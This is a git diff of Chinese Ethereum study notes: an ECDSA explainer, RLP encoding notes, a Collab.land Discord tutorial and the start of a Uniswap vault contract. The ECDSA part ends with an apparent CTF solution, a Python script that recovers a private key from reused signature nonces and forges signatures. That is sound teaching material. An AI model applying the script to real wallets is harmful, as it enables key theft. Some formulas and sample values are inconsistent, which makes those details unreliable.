+如上图，我们比较感兴趣的是当素数P=97时，有限域上椭圆曲线 $y^2 \equiv x^3 -x + 1 \pmod{97}$里所含有的所有的点的个数，这代表了这个集合的大小，称之为有限域的order。且存在一种快速计算有限域的order的算法 [Schoof's algorithm](https://en.wikipedia.org/wiki/Schoof's_algorithm).
+
+### 有限域的乘法
+
+与实数域的乘法类似，定义为：
+
+$$
+n P = \underbrace{P + P + \cdots + P}_{n\ \text{times}}
+$$
+
+由于有限域特性（即对Y取模），故其乘法得到的结果最终会呈现一个环，表明针对某个特定的点，不断地从1乘到N，其得到的结果的点最终会重复，得到一个有限的集合。从该点相乘得到的点的集合称为subgroup。
+![image20210805211059987.png](https://img.learnblockchain.cn/attachments/2021/08/LX68YXuB610c07ca7fe86.png)
+
+### 局部有限域的点的数量
+
+subgroup order对以太坊是一个很重要的概念，因为ECDSA签名就是基于一个subgroup order， 而不是一个完整的有限域的点。所以我们需要知道ECC对应的局部有限域的独立的点的数量。
+
+根据拉格朗日定理，椭圆曲线在有限域上的总的点数量N, 和局部有限域的点数量n, 满足 $N \% n=0$， 即N是n的整数倍。故对于某一个特定的点Q，找到n的思路为：找到该椭圆曲线在素数P的有限域上的所有点N，从小到大列出N的所有整除因子，依次乘以点Q，找到最小的一个整除因子，满足nQ=0
+
+例如，对于 $y^2 = x^3 - x + 3$, 质数 P=37, 则通过计算得知 N=42，选择一个点 (2,3),  $42=1\times42=2\times21=3\times14=6\times7$​​, 依次​从 [1,2,3,6,7,14,21,42] 中取值，与 (2,3) 点相乘，发现最小的一个值 $7\times(2，3)=0$, 故 n=7
+
+### 选取最优基点
+
+为保证局部有限域中的点的数量最大，我们需要选择一个最优的点作为基点。根据拉格朗日定理，定义 $h = N / n$, 称为局部有限域的分组因子。又因为对于任何一个点都满足如下条件：
+
+$$
+N\times P=0
+$$
+
+故可以推导为：
+
+$$
+n\times h\times P=0
+$$
+
+要使得n最大，故取最小的h值，然后找到一个点P满足 $h\times P=0$.  该种方法真针对n是素数有效。
+
+## ECDSA
+
+### 椭圆曲线的域名参数
+
+根据上述定义，一个特定的椭圆曲线可以由如下6个参数完全确定，以太坊中选用了和比特币相同的椭圆曲线"secp256k1"
+
+```js
+指明有限域大小的素数:
+P=0xFFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFE FFFFFC2F
+椭圆曲线方程的系数: a = 0, b=7
+产生我们子群的基点 base point: G(x,y)
+G[x] = 0x79BE667E F9DCBBAC 55A06295 CE870B07 029BFCDB 2DCE28D9 59F2815B 16F81798
+G[y] = 0x483ADA77 26A3C465 5DA4FBFC 0E1108A8 FD17B448 A6855419 9C47D08F FB10D4B8
+子群的order: 
+n=0xFFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFE BAAEDCE6 AF48A03B BFD25E8C D0364141
+子群的辅助因子 h=1
+```
+
+### 私钥
+
+在以太坊中，私钥定义为一个长度为32bytes的数字。在椭圆曲线中，私钥对应的是Pri（将bytes32转换为一个正整数）。即该椭圆曲线的基点G乘以私钥得到公钥Pub。私钥必须要小于子群的order n。
+
+$$
+Pri < n\\
+Pub_x = Pri\times G_x\\
+Pub_y=Pri\times G_y
+$$
+
+### 公钥
+
+公钥即私钥乘以基点后得到的点Pub，将点Pub的x轴的值和Y轴的值拼接在一起，得到一个64位的数字，即为以太坊的公钥, 即：
+
+$$
+PUB=Pub_x\cdot pub_y
+$$
+
+### EOA的地址
+
+将公钥取哈希得到哈希值的最右侧160位即为该私钥对应的地址：
+
+$$
+addr=keccak256(PUB)[-159:]
+$$
+
+### ECDSA交易签名函数
+
+ECDSA是一种对交易信息的哈希值进行签名的函数，当Alice对交易签名后得到(r,s), 任何人都可以利用(r,s) 以及相应的交易信息的哈希值运算得到Alice的公钥，从而验证该交易是否是Alice发出的。
+
+整体流程如下：
+
+```js
+alice 构造一笔交易，交易信息如下：
+[nonce,gasPrice,gasLimit,to,value,data,chainId,0,0] =>
+[0,0x09184e72a000,0x30000,0xb0920c523d582040f2bcb1bd7fb1c7c1ecebdb34, 0, "",1,0,0]
+RLP编码后得到的数据为：
+其为list，按照list编码要求编码
+nonce: 0 => 0x80 => len = 0x01
+gasPrice: 0x09184e72a000 => 0x8609184e72a000 => len = 0x07
+gasLimit: 0x30000 => 0x83030000 => len=0x04
+to: 0xb0920c523d582040f2bcb1bd7fb1c7c1ecebdb34 => 0x94b0920c523d582040f2bcb1bd7fb1c7c1ecebdb34 => len = 0x15
+value: 0 => 0x80 => len = 0x01
+data: "" => 0x80 => len = 0x01
+chainId,0,0 => 0x018080 => len = 0x03
+最后整合为list，编码为:
+0xe6808609184e72a0008303000094b0920c523d582040f2bcb1bd7fb1c7c1ecebdb348080018080
+需要签名的交易哈希为：
+keccak256(RLP([nonce...]))=901237a23fc304ddebc9d4f103a19bacc9fd7294bb1b7206a65cafa420804afa
+```
+
+拿到交易哈希后，alice选择一个随机数K，然后用随机数计算出临时点P，并用临时点P的X坐标值即为r值, 再对子群的order取模
+
+$$
+P=k\cdot G
+$$
+
+$$
+r=P_x \% \ n
+$$
+
+然后用r值乘以Alice的私钥 $d_A$,再加上交易哈希值的和，再乘以随机数 K 的导数得到 s 值, 再对子群的 order 取模
+
+$$
+s=k^{-1}\cdot(r\times d_A+z) \% \ n
+$$
+
+### ECDSA交易验证
+
+验证ECDSA签名后的交易的基本思路是利用 alice 的公钥 Ha，因为签名运算中用到了 Alice 的私钥 $d_A$, 故验证时只需要用到公钥 Ha.
+
+对于椭圆曲线，给定横坐标x=r，可以算出对称的两个点R，R' . 再分别用R和R', 计算出可能的公钥Ha
+
+$$
+H_A=r^{-1}\cdot (sR-zG) \\
+H_A'=r^{-1} \cdot (sR'-zG)
+$$
+
+证明如下：
+
+$$
+H_A = r^{-1} \cdot (sR-zG) \\
+  	H_A   = r^{-1} \cdot (s\cdot k\cdot G -zG)\\
+  H_A	  = r^{-1} \cdot (r\times d_A \cdot G + zG - zG )\\
+  H_A	   = r^{-1} \cdot (r \times H_A) \\
+  H_A	  = H_A
+$$
+
+## ECDSA的攻击利用
+
+从上面的分析可以看到，我们再对一笔交易进行签名的时候，会首先生成一个随机数，然后利用随机数生成一个点P，利用点P的横坐标X的值作为r值，再利用r与私钥的乘机加上签名的信息之和除以随机数k，得到s值。这里的关键是需要生成一个随机数k，如果再签名过程中，随机数并不是随机生成的，而是有迹可循的，或者是固定的一个值，我们就可以通过以下方程推导出私钥 $d_A$
+
+$$
+s_1=k^{-1}(r\cdot d_A+z_1)\\
+s_2 = k^{-1}(r\cdot d_A+z_2)\\
+s_1-s_2=k^{-1}(z_1-z_2)\\
+k=(z_1-z_2)(s_1-s_2)^{-1}\\
+d_A=(s_1k-z_1)r^{-1}
+$$
+
+再本题目中，发现：ok和hi的签名信息中r值一样，说明随机数k一样
+
+```js
+message? ok
+keccak256("ok")=14502d3ab34ae28d404da8f6ec0501c6f295f66caa41e122cfa9b1291bc0f9e8
+r=0xeac250f3dccb2eef0e7c4112807a61815fc61f4d241d5076fcad1b50629e9671
+s=0xc2a39d1efc8f7fca69a3099deda8c2fbd4304e6cfee6dba075e1b9a0fbfa999d
+message? hi
+keccak256("hi")=7624778dedc75f8b322b9fa1632a610d40b85e106c7d9bf0e743a9ce291b9c6f
+r=0xeac250f3dccb2eef0e7c4112807a61815fc61f4d241d5076fcad1b50629e9671
+s=0xc070c31f27b4e4661b5a701d77bf5813e270b1ca28d7a56d366c30106f527b69
+```
+
+利用 python 算出私钥 $d_A$：
+
+```python
+def modDivide(a,b,m):
+    a = a % m
+    inv = modInverse(b,m)
+    if (inv == -1):
+        print("Division not defined")
+    else:
+        return (inv*a) % m
+def modInverse(b, m):
+    g = math.gcd(b, m)
+    if (g != 1):
+        return -1
+    else:
+        return pow(b, m-2, m)
+def hash_mssage(msg: str) -> int:
+    # hash the message using keccak256, truncate if necessary
+    k = sha3.keccak_256()
+    k.update(msg.encode('utf8'))
+    d = k.digest()
+    n = int(binascii.hexlify(d),16)
+    olen = ecdsa.generator_secp256k1.order().bit_length() or 1
+    dlen = len(d)
+    n >>= max(0, dlen-olen)
+    return n
+if __name__ == "__main__":
+    # msg1 = input("msg1? ")
+    msg1 = "hi"
+    msg1_hashed = hash_mssage(msg1)
+    print(str(msg1_hashed))
+    # msg2 = input("msg2? ")
+    msg2 = "ok"
+    msg2_hashed = hash_mssage(msg2)
+    print(str(msg2_hashed))
+
+    m = ecdsa.generator_secp256k1.order()
+    # r1 = int(input("r1? "), 16)
+    r1 = int("0xeac250f3dccb2eef0e7c4112807a61815fc61f4d241d5076fcad1b50629e9671",16)
+    s1 = int("0xa8e72d180daf4d7f10778835719bb6de0abc003b94d71f28a99d673df4b06e17",16)
+    s2 = int("0xab1a0717e289e8e35ec021b5e78521c5fc7b9cde6ae6555be912f0ce81588c4b",16)
+    # s1 = int(input("s1? "), 16)
+    # s2 = int(input("s2? "), 16)
+
+    g = ecdsa.generator_secp256k1
+    k = modDivide((msg1_hashed - msg2_hashed), (s1 - s2),m)
+    d = modDivide(((s1 * k) - msg1_hashed), r1,m)
+	print("d_A: ", d)
+    test = input("test? ")
+    test_hashed = hash_mssage(test)
+    pub = ecdsa.Public_key(g, g * d)
+    priv = ecdsa.Private_key(pub, d)
+    sig = priv.sign(test_hashed, k)
+    print(f"solved r=0x{sig.r:032x}")
+    print(f"solved s=0x{sig.s:032x}")
+```
diff --git a/basic/67-Go-Ethereum-Code-Analysis/YellowPaper/RLP.md b/basic/67-Go-Ethereum-Code-Analysis/YellowPaper/RLP.md
new file mode 100644
index 000000000..1557e7e8a
--- /dev/null
+++ b/basic/67-Go-Ethereum-Code-Analysis/YellowPaper/RLP.md
@@ -0,0 +1,139 @@
+# RLP-黄皮书
+
+
+这是一种对任意结构的二进制数据（字节数组）进行编码的序列化方法。
+
+我们定义可能的结构集 $\mathbb{T}$
+
+$$
+\mathbb{T}  \equiv  \mathbb{L} \uplus \mathbb{B} \\
+\mathbb{L}  \equiv  \{ \mathbf{t}: \mathbf{t} = ( \mathbf{t}[0], \mathbf{t}[1], ... ) \; \wedge \; \forall n < \lVert \mathbf{t} \rVert : \mathbf{t}[n] \in \mathbb{T} \} \\
+\mathbb{B}  \equiv  \{ \mathbf{b}: \mathbf{b} = ( \mathbf{b}[0], \mathbf{b}[1], ... ) \; \wedge \; \forall n < \lVert \mathbf{b} \rVert : \mathbf{b}[n] \in \mathbb{O} \}
+$$
+
+其中 $\mathbb{O}$ 是（8位）字节的集合。因此 $\mathbb{B}$ 是所有字节序列的集合（也就是所谓的字节数组，如果想象成一棵树，就是一片叶子）， $\mathbb{L}$ 是所有不是单一叶子的树状（子）结构的集合（如果想象成一棵树，就是一个分支节点）， $\mathbb{T}$ 是所有字节数组和这种结构序列的集合。不相交的 $uplus$ 只用来区分空字节数组 $()\in\mathbb{B}$ 和空列表 $()\in\mathbb{L}$，它们的编码方式不同，定义如下；
+
+我们通过两个子函数将 RLP 函数定义为 $\mathtt{RLP}$ ，第一个函数处理值为字节数组时 bytes array 的实例，第二个函数处理值为 list 实例。
+
+$$
+\mathtt{RLP}(\mathbf{x}) \equiv \begin{cases} R_{\mathrm{b}}(\mathbf{x}) & \text{if} \quad \mathbf{x} \in \mathbb{B} \\ R_{\mathrm{l}}(\mathbf{x}) & \text{otherwise} \end{cases}
+$$
+
+## bytes array:
+
+如果要序列化的值是一个字节数组 bytes array，RLP序列化采取如下三种形式之一：
+
+1. 如果字节数组只包含一个单一的字节，并且这个单一的字节小于 128(0x80)，那么输入就正好等于输出。
+   
+   首字节的范围是[0x00, 0x7f]
+2. 如果字节数组包含少于56个字节，那么输出等于输入加上前缀为输入字节数组长度加128（0x80）的字节。
+   
+   首字节的范围是[0x80,0xb7]
+3. 否则，输出等于输入，只要它包含少于 $2^{64}$ 的字节，前缀为最小长度的字节阵列，当解释为大端整数时，等于输入字节阵列的长度，它本身前缀为忠实编码该长度值所需的字节数加183。
+   
+   首字节的范围是 [0xb8, 0xbf]
+
+含有 ${2^{64}}$ 或更多字节的字节数组不能被编码。这一限制确保了字节数组编码的第一个字节总是低于 192(0xC0)，因此它可以很容易地与 $\mathbb{L}$ 中的序列编码区分开来。
+
+形式上，我们定义 $R_{\mathrm{b}}$:
+
+$$
+R_{\mathrm{b}}(\mathbf{x})  \equiv \begin{cases}
+\mathbf{x}  & \text{if} \quad \lVert \mathbf{x} \rVert = 1 \wedge \mathbf{x}[0] < 128 \\
+(128 + \lVert \mathbf{x} \rVert) \cdot \mathbf{x}  &\text{else if} \quad \lVert \mathbf{x} \rVert < 56 \\
+\big(183 + \big\lVert \mathtt{BE}(\lVert \mathbf{x} \rVert) \big\rVert \big) \cdot \mathtt{BE}(\lVert \mathbf{x} \rVert) \cdot \mathbf{x} &\text{else if} \quad \lVert \mathbf{x} \rVert < 2^{64} \\
+\varnothing  &\text{otherwise}
+\end{cases} \\
+\mathtt{BE}(x)  \equiv  (b_0, b_1, ...): b_0 \neq 0 \wedge x = \sum_{n = 0}^{\lVert \mathbf{b} \rVert - 1} b_n \cdot 256^{\lVert \mathbf{b} \rVert - 1 - n} \\
+(x_1, ..., x_n) \cdot (y_1, ..., y_m)  =  (x_1, ..., x_n, y_1, ..., y_m)
+$$
+
+因此 $\mathtt{BE}$ 是将非负整数值扩展为最小长度的大 -endian 字节数组的函数，点运算符执行序列连接。
+
+## list:
+
+如果要序列化的值是一个其他项目的序列，那么RLP序列化有两种形式之一：
+
+1. 如果所包含的每一项进行序列化串联后的长度小于56字节，那么输出等于是输入加上前缀，前缀等于该字节数组的长度加上192。
+   
+   首字节的范围是 [0xc0,0xf7]
+2. 否则，如果一个列表的总有效载荷超过 55 字节，RLP编码由一个值为0xf7的单字节加上二进制形式的有效载荷的长度（字节）组成，然后是有效载荷的长度，接着是项目的RLP编码的连接值
+   
+   首字节的范围是 [0xf8,0xff]
+
+那些串联的序列项目包含 $2^{64}$ 或更多字节的序列不能被编码。这一限制确保了编码的第一个字节不超过 255（否则它就不是一个字节）。
+
+因此，我们以正式定义 $R_{\mathrm{l}}$:
+
+$$
+R_{\mathrm{l}}(\mathbf{x})  \equiv  \begin{cases}
+(192 + \lVert s(\mathbf{x}) \rVert) \cdot s(\mathbf{x})  \qquad\qquad\qquad\qquad\qquad\text{if} \quad s(\mathbf{x}) \neq \varnothing \wedge \lVert s(\mathbf{x}) \rVert < 56 \\
+\big(247 + \big\lVert \mathtt{BE}(\lVert s(\mathbf{x}) \rVert) \big\rVert \big) \cdot \mathtt{BE}(\lVert s(\mathbf{x}) \rVert) \cdot s(\mathbf{x}) \qquad \text{else if} \quad s(\mathbf{x}) \neq \varnothing \wedge \lVert s(\mathbf{x}) \rVert < 2^{64} \\
+\varnothing  \qquad\qquad\qquad\qquad\qquad\qquad\qquad\qquad\qquad\text{otherwise}
+\end{cases} \\
+$$
+
+$$
+s(\mathbf{x})  \equiv  \begin{cases}
+\mathtt{RLP}(\mathbf{x}[0]) \cdot \mathtt{RLP}(\mathbf{x}[1]) \cdot ... & \text{if} \quad \forall i: \mathtt{RLP}(\mathbf{x}[i]) \neq \varnothing \\
+\varnothing & \text{otherwise}
+\end{cases}
+$$
+
+如果RLP被用来编码一个标量，只针对一个非负整数（在 $\mathbb{N}$ 中，或者在 $\mathbb{N}_x$ 中，对于任何 $x$），它必须被编码为最短的字节数组，其大面值解释为标量。因此，某个非负整数 $i$ 的 RLP 被定义为。
+
+$$
+\mathtt{RLP}(i : i \in \mathbb{N}) \equiv \mathtt{RLP}(\mathtt{BE}(i))
+$$
+
+在解释 RLP 数据时，如果预期的片段被解码为标量，并且在字节序列中发现了前导零，客户需要将其视为非正则，并以其他无效的 RLP 数据的方式处理它，完全否定它。
+
+对于有符号或浮点值，没有特定的标准编码格式。
+
+如下是 RLP 编码的 python 代码实现：
+
+```python
+def rlp_encode(input):
+    if isinstance(input,str):
+        if len(input) == 1 and ord(input) < 0x80: return input
+        else: return encode_length(len(input), 0x80) + input
+    elif isinstance(input,list):
+        output = ''
+        for item in input: output += rlp_encode(item)
+        return encode_length(len(output), 0xc0) + output
+
+def encode_length(L,offset):
+    if L < 56:
+         return chr(L + offset)
+    elif L < 256**8:
+         BL = to_binary(L)
+         return chr(len(BL) + offset + 55) + BL
+    else:
+         raise Exception("input too long")
+
+def to_binary(x):
+    if x == 0:
+        return ''
+    else:
+        return to_binary(int(x / 256)) + chr(x % 256)
+```
+
+例子：
+
+1. `“dog”` => RLP编码： 属于bytes array, "dog" = 0x646f67, 长度为3, 即 $\lVert \mathbf{x} \rVert = 3$，适用 $(128 + \lVert \mathbf{x} \rVert) \cdot \mathbf{x}$ 为：131·X=>0x83646f67
+2. 列表`["cat","dog"]` => 属于list, "cat" = 0x636174, "dog" = 0x646f67,  $s(\mathbf{x})$ =0x8363617483646f67, 适用192 +  $\lVert s(\mathbf{x}) \rVert) \cdot s(\mathbf{x})$ 方程，为：(192+8)·s(x) = 0xc88363617483646f67
+3. 空字符串 => 0x80 :question:为什么是0x80呢, 0x80确实也能表示空字符串， 因为长度为0，值也为0
+4. 数值0 => 0x80 :question:0x80确实也能表示0， 因为长度为1，值为0. len(0x00) == 0x01?
+5. 编码后的数值0 `\x00` => 0x00
+6. 编码后的数值15 `\x0f` => 0x0f , 属于bytes array, 长度为1， 适用 $\mathbf{x}$ =0x0f
+7. 编码后的数值1024 `\x0400` =>  属于bytes array, 长度为2， 为0x820400
+8. 编码嵌套的list：`[ [], [[]], [ [], [[]] ] ]` => 属于list，长度小于56，适用于 $(192 + \lVert s(\mathbf{x}) \rVert) \cdot s(\mathbf{x})$ ,
+   
+   对于item0: [] => RLP编码为(192+0) = 0xC0
+   
+   对于item1: `[[]]` => (192+1)·0xC0 => 0xC1C0
+   
+   对于item2: `[[],[[]]]` => (192+3)·(0xC0C1C0)=>0xC3C0C1C0
+   
+   故整体为 0xC7C0C1C0C3C0C1C0
+9. 长字符串`"Lorem ipsum dolor sit amet, consectetur adipisicing elit"` => `0x4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7365637465747572206164697069736963696e6720656c6974` 长度为112, 属于bytes array, 适用于 $\big(183 + \big\lVert \mathtt{BE}(\lVert \mathbf{x} \rVert) \big\rVert \big) \cdot \mathtt{BE}(\lVert \mathbf{x} \rVert) \cdot \mathbf{x}$ 故 (183+1)·(0x38)·(0x4c..) =>  `0xB8384c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7365637465747572206164697069736963696e6720656c6974`
diff --git a/basic/67-Go-Ethereum-Code-Analysis/readme.md b/basic/67-Go-Ethereum-Code-Analysis/readme.md
new file mode 100644
index 000000000..f51fccded
--- /dev/null
+++ b/basic/67-Go-Ethereum-Code-Analysis/readme.md
@@ -0,0 +1,45 @@
+# Go-Ethereum
+
+各自建文件夹填充内容
+
+## 白皮书
+
+- Ethereum Whitepaper <https://ethereum.org/en/whitepaper/>
+
+## 黄皮书
+
+- 黄皮书 <https://godorz.info/2021/10/ethereum-yellow-paper/>
+- 黄皮书-中文版 <https://github.com/wanshan1024/ethereum_yellowpaper/blob/master/ethereum_yellow_paper_cn.pdf>
+- 以太坊黄皮书公式解析 <https://mirror.xyz/0x56706F118e42AE069F20c5636141B844D1324AE1/Muq3LyriRK731jEj4jz3halgSu8BIlag4_637-hkeEg>
+- 深入探索 CALL 指令参数 <https://godorz.info/2021/10/dive-into-call-param0/>
+- 《以太坊的指南针》: 第 4 章数据结构 <https://ethbook.abyteahead.com/ch4/index.html>
+- 以太坊 MPT(Merkle Patricia Tree)原理 <https://blog.csdn.net/itleaks/article/details/79992072>
+
+### ECC related
+
+- [:scroll: crypto/ECC/README.md](../../crypto/ECC/README.md)
+- <https://github.com/QuarkChain/pyquarkchain/blob/af1dd06a50d918aaf45569d9b0f54f5ecceb6afe/quarkchain/experimental/elliptic.py>
+- <https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/crypto/ECC>
+
+### Useful links
+
+- rip 以太坊黄皮书学习笔记 <https://godorz.info/2021/10/ethereum-yellow-paper/>
+- RLP-黄皮书附录 2 解读 <https://learnblockchain.cn/article/2725>
+- Paradigm CTF- BabyCrypto <https://learnblockchain.cn/article/2817>
+
+## 共识算法
+
+## 网络模块
+
+## EVM 执行引擎
+
+## 账本管理
+
+## EIP协议相关改进
+- [EIP2929和EIP2930带来的AccessList访问机制](EIP/accesslist.md)
+
+
+## 参考链接
+
+- laizy 以太坊源码解析： <https://github.com/laizy/ethereum-review>
+- Ethereum block architecture <https://ethereum.stackexchange.com/questions/268/ethereum-block-architecture>
diff --git a/basic/68-config-discord-with-Collab.land/readme.md b/basic/68-config-discord-with-Collab.land/readme.md
new file mode 100644
index 000000000..4e5081439
--- /dev/null
+++ b/basic/68-config-discord-with-Collab.land/readme.md
@@ -0,0 +1,82 @@
+## Collab.land 使用教程  
+### 简介  
+Collab.land是由Abridged.io 团队创建的一个Discord和Telegram机器人, 它会创建代币许可的聊天群. 如果你没有持有一定数量或特定的代币, 你就会在几分钟内被踢出该群, 因为它会链接到你的MetaMask钱包, 检查你当前钱包中的余额是否满足入群要求.  
+本样例将演示如何在 discord 中配置 Collab 机器人
+
+### 操作步骤  
+#### 1. 登陆 discord 软件 
+
+#### 2. 创建一个测试服务器  
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/createServer.png?raw=true" /></center>
+
+#### 3. 添加 Collab.Land  
+- 点击 [Add Collab](https://discord.com/login?redirect_to=%2Foauth2%2Fauthorize%3Fclient_id%3D704521096837464076%26scope%3Dbot%26permissions%3D8) 从中选择需要添加 bot 机器人的服务器, 这里选择刚才创建的 test-222 这个服务器    
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/selectChannel.png?raw=true" /></center> 
+
+- 授权管理员权限    
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/grantAdmin.png?raw=true" /></center> 
+
+#### 4. 创建身份组 
+这里我们创建一个名为 NFT_ROLE 的身份组, 只有
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/createRole.png?raw=true" /></center> 
+
+
+#### 5. 创建频道 
+- 这里创建一个私密频道 
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/createChannel.png?raw=true" /></center> 
+
+
+- 设置只有 NFT 用户才能访问该频道 
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/setChannelRole.png?raw=true" /></center>  
+
+#### 6. 配置 Collab.Land  
+- 在 collabland-config 频道中输入 "!setup role" 进行角色配置  
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/inputSetupRole.png?raw=true" /></center> 
+
+- 选择网络类型  
+以 matic 网络为例, 选择 5 
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/choseNetwork.png?raw=true" /></center> 
+
+- 选择 Token 类型  
+已 ERC721 为例
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/choseTokenType.png?raw=true" /></center> 
+
+- 输入详细的代币信息  
+根据提示输入详细的代币信息  
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/inputTokenAddressInfro.png?raw=true" /></center>  
+
+- 确认  
+点击 "Add Role" 进行确认
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/confirm.png?raw=true" /></center>  
+
+### 身份认证  
+下面演示普通用户登陆后, 如何进行身份认证 
+
+- collabland-join 认证  
+默认下, 普通用户进入频道后, 可以看到 collabland-join 频道, 无法看到 collabland-config , 只有 admin 才能看到 collabland-config. 
+点击其中的 "Let's go!" 按钮.    
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/lets-go.png?raw=true" /></center>  
+
+
+- 连接钱包  
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/conenctWallet.png?raw=true" /></center>  
+
+
+- 选择钱包类型  
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/walletType.png?raw=true" /></center>  
+
+- 进行签名    
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/Sign.png?raw=true" /></center>  
+
+- Collabland 弹出提示    
+![](./images/popupInfor.png) 
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/popupInfor.png?raw=true" /></center>  
+
+
+- 重新进入 Discord 检查身份  
+这时用户就会被赋予 NFT_ROLE 这个角色, 同时也可以看到 nft 这个频道 
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/68-config-discord-with-Collab.land/checkRole.png?raw=true" /></center>   
+
+### 参考链接  
+Collab.land 官方文档: https://collabland.freshdesk.com/support/solutions/articles/70000036689-discord-bot-walkthrough  
+Youtube 视频介绍: https://www.youtube.com/watch?v=7KTYmpZlHqU 
\ No newline at end of file
diff --git a/basic/69-charm.fi/.gitattributes b/basic/69-charm.fi/.gitattributes
new file mode 100644
index 000000000..adb20fe26
--- /dev/null
+++ b/basic/69-charm.fi/.gitattributes
@@ -0,0 +1,2 @@
+*.sol linguist-language=Solidity
+*.vy linguist-language=Python
diff --git a/basic/69-charm.fi/.gitignore b/basic/69-charm.fi/.gitignore
new file mode 100644
index 000000000..a418c1678
--- /dev/null
+++ b/basic/69-charm.fi/.gitignore
@@ -0,0 +1,5 @@
+__pycache__
+.history
+.hypothesis/
+build/
+reports/
diff --git a/basic/69-charm.fi/brownie-config.yaml b/basic/69-charm.fi/brownie-config.yaml
new file mode 100644
index 000000000..841a1af62
--- /dev/null
+++ b/basic/69-charm.fi/brownie-config.yaml
@@ -0,0 +1,16 @@
+
+dependencies:
+  - OpenZeppelin/openzeppelin-contracts@3.4.0
+  - Uniswap/uniswap-v3-core@1.0.0
+  - Uniswap/uniswap-v3-periphery@1.0.0
+
+autofetch_sources: true
+
+compiler:
+  solc:
+    version: 0.7.6
+    remappings:
+      - "@openzeppelin=OpenZeppelin/openzeppelin-contracts@3.4.0"
+      - "@uniswap/v3-core=Uniswap/uniswap-v3-core@1.0.0"
+      - "@uniswap/v3-periphery=Uniswap/uniswap-v3-periphery@1.0.0"
+
diff --git a/basic/69-charm.fi/contracts/AlphaStrategy.sol b/basic/69-charm.fi/contracts/AlphaStrategy.sol
new file mode 100644
index 000000000..0a22d8dfe
--- /dev/null
+++ b/basic/69-charm.fi/contracts/AlphaStrategy.sol
@@ -0,0 +1,189 @@
+// SPDX-License-Identifier: Unlicense
+
+pragma solidity 0.7.6;
+
+import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
+import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
+
+import "./AlphaVault.sol";
+
+/**
+ * @title   Alpha Strategy
+ * @notice  Rebalancing strategy for Alpha Vault that maintains the two
+ *          following range orders:
+ *
+ *          1. Base order is placed between X - B and X + B + TS.
+ *          2. Limit order is placed between X - L and X, or between X + TS
+ *             and X + L + TS, depending on which token it holds more of.
+ *
+ *          where:
+ *
+ *              X = current tick rounded down to multiple of tick spacing
+ *              TS = tick spacing
+ *              B = base threshold
+ *              L = limit threshold
+ *
+ *          Note that after these two orders, the vault should have deposited
+ *          all its tokens and should only have a few wei left.
+ *
+ *          Because the limit order tries to sell whichever token the vault
+ *          holds more of, the vault's holdings will have a tendency to get
+ *          closer to a 1:1 balance. This enables it to continue providing
+ *          liquidity without running out of inventory of either token, and
+ *          achieves this without the need to swap directly on Uniswap and pay
+ *          fees.
+ */
+contract AlphaStrategy {
+    AlphaVault public immutable vault;
+    IUniswapV3Pool public immutable pool;
+    int24 public immutable tickSpacing;
+
+    int24 public baseThreshold;
+    int24 public limitThreshold;
+    int24 public maxTwapDeviation;
+    uint32 public twapDuration;
+    address public keeper;
+
+    uint256 public lastRebalance;
+    int24 public lastTick;
+
+    /**
+     * @param _vault Underlying Alpha Vault
+     * @param _baseThreshold Used to determine base order range
+     * @param _limitThreshold Used to determine limit order range
+     * @param _maxTwapDeviation Max deviation from TWAP during rebalance
+     * @param _twapDuration TWAP duration in seconds for rebalance check
+     * @param _keeper Account that can call `rebalance()`
+     */
+    constructor(
+        address _vault,
+        int24 _baseThreshold,
+        int24 _limitThreshold,
+        int24 _maxTwapDeviation,
+        uint32 _twapDuration,
+        address _keeper
+    ) {
+        IUniswapV3Pool _pool = AlphaVault(_vault).pool();
+        int24 _tickSpacing = _pool.tickSpacing();
+
+        vault = AlphaVault(_vault);
+        pool = _pool;
+        tickSpacing = _tickSpacing;
+
+        baseThreshold = _baseThreshold;
+        limitThreshold = _limitThreshold;
+        maxTwapDeviation = _maxTwapDeviation;
+        twapDuration = _twapDuration;
+        keeper = _keeper;
+
+        _checkThreshold(_baseThreshold, _tickSpacing);
+        _checkThreshold(_limitThreshold, _tickSpacing);
+        require(_maxTwapDeviation > 0, "maxTwapDeviation");
